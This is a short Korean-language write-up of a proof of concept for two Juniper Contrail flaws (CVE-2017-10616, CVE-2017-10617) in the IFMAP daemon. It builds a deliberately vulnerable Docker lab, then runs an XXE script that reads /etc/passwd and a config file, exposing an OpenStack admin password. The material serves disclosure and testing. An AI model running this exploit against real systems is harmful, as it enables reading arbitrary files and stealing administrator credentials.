
Contrail: 하드코딩된 자격 증명(CVE-2017-10616) 및 XML 외부 엔티티(XXE) 취약점(CVE-2017-10617)
이 두 취약점은 Juniper Contrail 버전 2.2, 3.0, 3.1 및 3.2에 영향을 미칩니다:
공급업체 보안 게시판은 Juniper Security Alert JSA10819 2017-10에서 확인할 수 있습니다.
Contrail 제품에서 취약한 서비스는 irond에서 패키징된 IFMAP 데몬입니다. 간단히 하기 위해 irond를 계속 사용하여 XXE 취약점을 악용해 보겠습니다.
우리 모두 놀기를 좋아합니다. 이미지를 빌드하려면:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
이 이미지는 irond 저장소를 클론한 maven alpine 이미지를 기반으로 합니다.
Contrail 설정과 일치하는 테스트 파일이 취약한 이미지의 /etc/contrail/openstackrc에 배치됩니다. 이 파일에는 상당히 민감한 자산인 OpenStack 관리자 비밀번호가 포함되어 있습니다.
취약한 IFMAP 서비스를 시작하려면:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
이제 IFMAP 서비스가 로컬 머신의 8443 포트에서 사용 가능합니다.
취약한 IFMAP 서비스가 설정되면 다음을 수행합니다:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
이를 통해 OpenStack 관리자 비밀번호가 효과적으로 노출됩니다.